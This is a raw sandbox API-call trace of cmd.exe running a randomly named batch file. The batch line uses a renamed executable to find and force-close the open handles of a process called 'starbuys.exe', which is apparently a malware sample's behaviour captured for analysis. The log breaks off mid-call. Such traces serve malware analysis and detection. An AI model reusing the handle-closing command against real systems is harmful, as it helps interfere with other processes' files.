lpNumberOfCharsWritten=0x2af1b0*=0x2) returned 1 [0117.904] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0117.904] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0117.904] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0117.904] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0117.904] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0117.904] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0117.904] GetConsoleTitleW (in: lpConsoleTitle=0x2aed34, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0117.904] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0117.904] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0117.905] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x2aeaf0, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x2aeae8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x2aeae8*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0117.905] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2ae88c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0117.905] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x104, lpBuffer=0x2ae88c, lpFilePart=0x2ae888 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x2ae888*=0x0) returned 0x26 [0117.905] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0117.905] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2ae608 | out: lpFindFileData=0x2ae608*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x5e44e8 [0117.905] FindClose (in: hFindFile=0x5e44e8 | out: hFindFile=0x5e44e8) returned 1 [0117.906] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x2ae608 | out: lpFindFileData=0x2ae608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x5e44e8 [0117.906] FindClose (in: hFindFile=0x5e44e8 | out: hFindFile=0x5e44e8) returned 1 [0117.906] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0117.906] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x2ae608 | out: lpFindFileData=0x2ae608*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x5e44e8 [0117.906] FindClose (in: hFindFile=0x5e44e8 | out: hFindFile=0x5e44e8) returned 1 [0117.906] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0117.906] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0117.906] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0117.906] GetProcessHeap () returned 0x5d0000 [0117.906] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e76d8 | out: hHeap=0x5d0000) returned 1 [0117.906] GetEnvironmentStringsW () returned 0x5e6b50* [0117.906] GetProcessHeap () returned 0x5d0000 [0117.906] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xb80) returned 0x5e76d8 [0117.906] FreeEnvironmentStringsW (penv=0x5e6b50) returned 1 [0117.906] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0117.906] GetProcessHeap () returned 0x5d0000 [0117.906] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4488 | out: hHeap=0x5d0000) returned 1 [0117.906] GetProcessHeap () returned 0x5d0000 [0117.906] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4428 | out: hHeap=0x5d0000) returned 1 [0117.906] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.906] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0117.907] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.907] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0117.907] _get_osfhandle (_FileHandle=0) returned 0x3 [0117.907] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0117.907] SetConsoleInputExeNameW () returned 0x1 [0117.907] GetConsoleOutputCP () returned 0x1b5 [0117.907] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0117.907] SetThreadUILanguage (LangId=0x0) returned 0x409 [0117.908] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x2af16c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0117.908] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0117.908] _get_osfhandle (_FileHandle=3) returned 0x78 [0117.908] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0117.908] GetProcessHeap () returned 0x5d0000 [0117.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e43b8 | out: hHeap=0x5d0000) returned 1 [0117.908] GetProcessHeap () returned 0x5d0000 [0117.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4348 | out: hHeap=0x5d0000) returned 1 [0117.908] GetProcessHeap () returned 0x5d0000 [0117.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e42d8 | out: hHeap=0x5d0000) returned 1 [0117.908] GetProcessHeap () returned 0x5d0000 [0117.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4268 | out: hHeap=0x5d0000) returned 1 [0117.908] GetProcessHeap () returned 0x5d0000 [0117.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5d0db8 | out: hHeap=0x5d0000) returned 1 [0117.909] GetProcessHeap () returned 0x5d0000 [0117.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4208 | out: hHeap=0x5d0000) returned 1 [0117.909] GetProcessHeap () returned 0x5d0000 [0117.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e41a8 | out: hHeap=0x5d0000) returned 1 [0117.909] GetProcessHeap () returned 0x5d0000 [0117.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5d1250 | out: hHeap=0x5d0000) returned 1 [0117.909] _get_osfhandle (_FileHandle=3) returned 0x78 [0117.909] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0117.909] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x2af150, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x2af150*=0x94, lpOverlapped=0x0) returned 1 [0117.909] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=148, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="FOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`bv6ncK8c.exe -accepteula %FN% -nobanner`) DO (bv6ncK8c.exe -accepteula -c %%J -y -p %%I -nobanner)\r\n") returned 148 [0117.909] _get_osfhandle (_FileHandle=3) returned 0x78 [0117.909] GetFileType (hFile=0x78) returned 0x1 [0117.909] _get_osfhandle (_FileHandle=3) returned 0x78 [0117.909] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0117.909] GetProcessHeap () returned 0x5d0000 [0117.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x400a) returned 0x5f4bd8 [0117.909] GetProcessHeap () returned 0x5d0000 [0117.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x4008) returned 0x5f8bf0 [0117.910] GetProcessHeap () returned 0x5d0000 [0117.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xe) returned 0x5d0db8 [0117.910] GetEnvironmentVariableW (in: lpName="FN", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="\"starbuys.exe\"") returned 0xe [0117.911] GetProcessHeap () returned 0x5d0000 [0117.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5d0db8 | out: hHeap=0x5d0000) returned 1 [0117.911] GetProcessHeap () returned 0x5d0000 [0117.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5f8bf0 | out: hHeap=0x5d0000) returned 1 [0117.911] GetProcessHeap () returned 0x5d0000 [0117.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5f4bd8 | out: hHeap=0x5d0000) returned 1 [0117.915] _tell (_FileHandle=3) returned 226 [0117.915] _close (_FileHandle=3) returned 0 [0117.915] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2aef24 | out: _Buffer="\r\n") returned 2 [0117.915] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.915] GetFileType (hFile=0x7) returned 0x2 [0117.915] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.915] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2aeee4 | out: lpMode=0x2aeee4) returned 1 [0117.916] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.916] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x2aef10, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x2aef10*=0x2) returned 1 [0117.917] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0117.917] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0117.917] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2aef20 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0117.917] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2aef20 | out: _Buffer=">") returned 1 [0117.917] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.917] GetFileType (hFile=0x7) returned 0x2 [0117.918] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.918] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2aeee8 | out: lpMode=0x2aeee8) returned 1 [0117.918] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.918] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x2aef14, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x2aef14*=0x26) returned 1 [0117.918] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%.3s", _ArgList=0x2af1a4 | out: _Buffer="FOR") returned 3 [0117.918] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.918] GetFileType (hFile=0x7) returned 0x2 [0117.918] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.919] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af164 | out: lpMode=0x2af164) returned 1 [0117.919] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.919] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x2af190, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x2af190*=0x3) returned 1 [0117.919] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x2af1a4 | out: _Buffer=" /F") returned 3 [0117.919] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.919] GetFileType (hFile=0x7) returned 0x2 [0117.919] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.919] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af164 | out: lpMode=0x2af164) returned 1 [0117.920] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.920] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x2af190, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x2af190*=0x3) returned 1 [0117.920] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x2af1a4 | out: _Buffer=" \"UseBackQ Tokens=3,6 delims=: \"") returned 32 [0117.920] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.920] GetFileType (hFile=0x7) returned 0x2 [0117.920] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.920] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af164 | out: lpMode=0x2af164) returned 1 [0117.922] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.922] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x20, lpNumberOfCharsWritten=0x2af190, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x2af190*=0x20) returned 1 [0117.922] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s ", _ArgList=0x2af1a4 | out: _Buffer=" %I IN ") returned 7 [0117.922] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.922] GetFileType (hFile=0x7) returned 0x2 [0117.923] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.923] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af164 | out: lpMode=0x2af164) returned 1 [0117.923] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.923] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x2af190, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x2af190*=0x7) returned 1 [0117.924] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="(%s) %s ", _ArgList=0x2af1a0 | out: _Buffer="(`bv6ncK8c.exe -accepteula \"starbuys.exe\" -nobanner`) DO ") returned 57 [0117.924] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.924] GetFileType (hFile=0x7) returned 0x2 [0117.925] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.925] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af160 | out: lpMode=0x2af160) returned 1 [0117.925] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.925] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x39, lpNumberOfCharsWritten=0x2af18c, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x2af18c*=0x39) returned 1 [0117.925] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.925] GetFileType (hFile=0x7) returned 0x2 [0117.926] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.926] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af16c | out: lpMode=0x2af16c) returned 1 [0117.926] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.926] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x2af198, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x2af198*=0x1) returned 1 [0117.926] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.926] GetFileType (hFile=0x7) returned 0x2 [0117.926] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.927] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af150 | out: lpMode=0x2af150) returned 1 [0117.927] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.927] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x5df508*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x2af17c, lpReserved=0x0 | out: lpBuffer=0x5df508*, lpNumberOfCharsWritten=0x2af17c*=0xc) returned 1 [0117.927] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x2af188 | out: _Buffer=" -accepteula -c %J -y -p %I -nobanner ") returned 38 [0117.927] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.927] GetFileType (hFile=0x7) returned 0x2 [0117.927] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.927] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af148 | out: lpMode=0x2af148) returned 1 [0117.928] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.928] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x2af174, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x2af174*=0x26) returned 1 [0117.929] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x2af1a4 | out: _Buffer=") ") returned 2 [0117.929] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.929] GetFileType (hFile=0x7) returned 0x2 [0117.929] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.929] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af164 | out: lpMode=0x2af164) returned 1 [0117.930] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.930] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x2af190, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x2af190*=0x2) returned 1 [0117.930] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2af1c4 | out: _Buffer="\r\n") returned 2 [0117.930] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.930] GetFileType (hFile=0x7) returned 0x2 [0117.931] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.931] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af184 | out: lpMode=0x2af184) returned 1 [0117.931] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.931] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x2af1b0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x2af1b0*=0x2) returned 1 [0117.932] GetProcessHeap () returned 0x5d0000 [0117.932] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x2c) returned 0x5e43e8 [0117.932] GetProcessHeap () returned 0x5d0000 [0117.932] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xc) returned 0x5d0db8 [0117.932] GetProcessHeap () returned 0x5d0000 [0117.932] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xc) returned 0x5d0dd0 [0117.932] GetProcessHeap () returned 0x5d0000 [0117.933] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xe) returned 0x5d0de8 [0117.933] _wcsnicmp (_String1="UseBackQ", _String2="usebackq", _MaxCount=0x8) returned 0 [0117.933] _wcsnicmp (_String1="Tokens=3", _String2="usebackq", _MaxCount=0x8) returned -1 [0117.933] _wcsnicmp (_String1="Tokens=", _String2="useback", _MaxCount=0x7) returned -1 [0117.933] _wcsnicmp (_String1="Toke", _String2="eol=", _MaxCount=0x4) returned 15 [0117.933] _wcsnicmp (_String1="Tokens=", _String2="delims=", _MaxCount=0x7) returned 16 [0117.933] _wcsnicmp (_String1="Token", _String2="skip=", _MaxCount=0x5) returned 1 [0117.933] _wcsnicmp (_String1="Tokens=", _String2="tokens=", _MaxCount=0x7) returned 0 [0117.933] wcstol (in: _String="3,6 delims=: \"", _EndPtr=0x2af0e0, _Radix=0 | out: _EndPtr=0x2af0e0*=",6 delims=: \"") returned 3 [0117.933] wcstol (in: _String="6 delims=: \"", _EndPtr=0x2af0e0, _Radix=0 | out: _EndPtr=0x2af0e0*=" delims=: \"") returned 6 [0117.933] _wcsnicmp (_String1="delims=:", _String2="usebackq", _MaxCount=0x8) returned -17 [0117.933] _wcsnicmp (_String1="delims=", _String2="useback", _MaxCount=0x7) returned -17 [0117.933] _wcsnicmp (_String1="deli", _String2="eol=", _MaxCount=0x4) returned -1 [0117.933] _wcsnicmp (_String1="delims=", _String2="delims=", _MaxCount=0x7) returned 0 [0117.933] GetProcessHeap () returned 0x5d0000 [0117.933] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5d0de8 | out: hHeap=0x5d0000) returned 1 [0117.933] GetProcessHeap () returned 0x5d0000 [0117.933] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xe) returned 0x5d0de8 [0117.933] GetProcessHeap () returned 0x5d0000 [0117.933] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5d0db8, Size=0xe) returned 0x5d0e00 [0117.933] GetProcessHeap () returned 0x5d0000 [0117.933] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5d0e00) returned 0xe [0117.933] GetProcessHeap () returned 0x5d0000 [0117.933] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5d0dd0, Size=0x14) returned 0x5e4420 [0117.933] GetProcessHeap () returned 0x5d0000 [0117.933] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e4420) returned 0x14 [0117.933] _wpopen (_Command="bv6ncK8c.exe -accepteula \"starbuys.exe\" -nobanner", _Mode="rb") returned 0x76be2960 [0118.009] feof (_File=0x76be2960) returned 0 [0118.010] ferror (_File=0x76be2960) returned 0 [0118.010] GetProcessHeap () returned 0x5d0000 [0118.010] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x108) returned 0x5e4440 [0118.010] fgets (in: _Buf=0x5e4448, _MaxCount=256, _File=0x76be2960 | out: _Buf="No matching handles found.\r\r\n", _File=0x76be2960) returned="No matching handles found.\r\r\n" [0123.757] feof (_File=0x76be2960) returned 0 [0123.757] ferror (_File=0x76be2960) returned 0 [0123.757] GetProcessHeap () returned 0x5d0000 [0123.757] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4440, Size=0x208) returned 0x5e4440 [0123.758] GetProcessHeap () returned 0x5d0000 [0123.758] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e4440) returned 0x208 [0123.758] fgets (in: _Buf=0x5e4465, _MaxCount=483, _File=0x76be2960 | out: _Buf="", _File=0x76be2960) returned 0x0 [0124.319] _pclose (in: _File=0x76be2960 | out: _File=0x76be2960) returned 0 [0124.321] GetProcessHeap () returned 0x5d0000 [0124.322] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4440, Size=0x46) returned 0x5e4440 [0124.322] GetProcessHeap () returned 0x5d0000 [0124.322] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e4440) returned 0x46 [0124.322] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x5e4465, cbMultiByte=29, lpWideCharStr=0x5e4448, cchWideChar=29 | out: lpWideCharStr="No matching handles found.\r\r\n") returned 29 [0124.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x400a) returned 0x5f4bd8 [0124.322] GetProcessHeap () returned 0x5d0000 [0124.322] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5f4bd8, Size=0x3c) returned 0x5f4bd8 [0124.323] GetProcessHeap () returned 0x5d0000 [0124.323] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5f4bd8) returned 0x3c [0124.323] GetProcessHeap () returned 0x5d0000 [0124.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x400a) returned 0x5f4c20 [0124.323] GetProcessHeap () returned 0x5d0000 [0124.323] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5f4c20, Size=0xac) returned 0x5f4c20 [0124.323] GetProcessHeap () returned 0x5d0000 [0124.323] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5f4c20) returned 0xac [0124.323] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2aedd4 | out: _Buffer="\r\n") returned 2 [0124.323] _get_osfhandle (_FileHandle=1) returned 0x7 [0124.323] GetFileType (hFile=0x7) returned 0x2 [0124.324] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0124.324] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2aed94 | out: lpMode=0x2aed94) returned 1 [0124.325] _get_osfhandle (_FileHandle=1) returned 0x7 [0124.325] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x2aedc0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x2aedc0*=0x2) returned 1 [0124.329] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0124.329] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2aedd0 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0124.329] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2aedd0 | out: _Buffer=">") returned 1 [0124.329] _get_osfhandle (_FileHandle=1) returned 0x7 [0124.329] GetFileType (hFile=0x7) returned 0x2 [0124.329] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0124.329] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2aed98 | out: lpMode=0x2aed98) returned 1 [0124.330] _get_osfhandle (_FileHandle=1) returned 0x7 [0124.330] WriteConsoleW (in: 